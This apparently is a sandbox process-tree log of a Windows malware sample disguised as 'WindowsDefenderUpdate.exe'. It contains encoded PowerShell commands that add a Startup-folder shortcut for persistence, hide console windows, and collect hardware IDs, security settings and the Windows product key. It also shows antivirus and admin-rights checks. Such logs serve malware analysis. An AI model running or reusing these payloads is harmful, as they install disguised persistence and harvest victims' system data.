                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA"
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:7104
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:996
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:7004
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4128
                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2824
                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4728
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3968
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Hide Artifacts: Hidden Window
                                                                                                                                                                                                                                                                                                                                                                            PID:688
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                              powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                              PID:4484
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5456
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5364
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6520
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zgasewto\zgasewto.cmdline"
                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:6360
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4920.tmp" "c:\Users\Admin\AppData\Local\Temp\zgasewto\CSC407DC2152E3C4C9D8E5FD4E4158D344D.TMP"
                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:3780
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "net session"
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5272
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                                                                                                                                                                          net session
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:6884
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 session
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5816
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName"
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2384
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5664
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA"
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5024
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB